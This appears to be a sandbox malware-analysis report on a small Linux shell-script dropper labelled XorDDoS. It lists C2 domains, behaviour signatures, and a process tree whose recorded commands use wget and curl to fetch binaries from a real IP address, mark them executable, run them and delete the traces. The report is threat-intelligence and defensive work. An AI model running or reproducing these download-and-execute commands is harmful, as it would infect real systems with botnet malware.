Overview

overview

10

Static

static

1

ec991cf6ea...fc4.sh

ubuntu-18.04-amd64

10

ec991cf6ea...fc4.sh

debian-9-armhf

10

ec991cf6ea...fc4.sh

debian-9-mips

10

ec991cf6ea...fc4.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    59s
  • max time network
    60s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23/12/2024, 02:24

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ec991cf6eac0354077622d016f3408b35372c4bbb44e86bc250bc1fcbafedfc4.sh
  • Size 318B
  • Sample241223-cvzf1strbv
  • SHA256 ec991cf6eac0354077622d016f3408b35372c4bbb44e86bc250bc1fcbafedfc4
  • MD5 SHA1 SHA512
Score
10/10
xorddosantivmbotnetdefense_evasiondiscoverydownloader

Malware Config

Extracted

Family

  • xorddos

C2

  • api.markerbio.com:112

  • api.enoan2107.com:112

  • http://qq.com/lib.asp

Attributes
  • crc_polynomial

    CDB88320

xor.plain

Signatures

  • XorDDoS

    Botnet and downloader malware targeting Linux-based operating systems and IoT devices.

    botnetdownloaderxorddos
  • XorDDoS payload 1 IoCs
  • Xorddos family
    xorddos
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ec991cf6eac0354077622d016f3408b35372c4bbb44e86bc250bc1fcbafedfc4.sh
    /tmp/ec991cf6eac0354077622d016f3408b35372c4bbb44e86bc250bc1fcbafedfc4.sh
    1⤵
      PID:645
      • /usr/bin/wget
        wget http://43.249.172.195:888/112
        2⤵
        • Writes file to tmp directory
        PID:646
      • /usr/bin/curl
        curl -O http://43.249.172.195:888/112
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:750
      • /bin/chmod
        chmod +x 112
        2⤵
        • File and Directory Permissions Modification
        PID:753
      • /tmp/112
        ./112
        2⤵
        • Executes dropped EXE
        PID:754
      • /usr/bin/wget
        wget http://43.249.172.195:888/112s
        2⤵
        • Writes file to tmp directory
        PID:756
      • /usr/bin/curl
        curl -O http://43.249.172.195:888/112s
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:764
      • /bin/chmod
        chmod +x 112s
        2⤵
        • File and Directory Permissions Modification
        PID:769
      • /tmp/112s
        ./112s
        2⤵
        • Executes dropped EXE
        PID:770
      • /bin/rm
        rm -rf 112.sh
        2⤵
          PID:772
        • /bin/rm
          rm -rf 112
          2⤵
            PID:773
          • /bin/rm
            rm -rf 112s
            2⤵
              PID:774

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                112
                • Path /tmp/112
                • Size 549KB
                • SHA256 ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download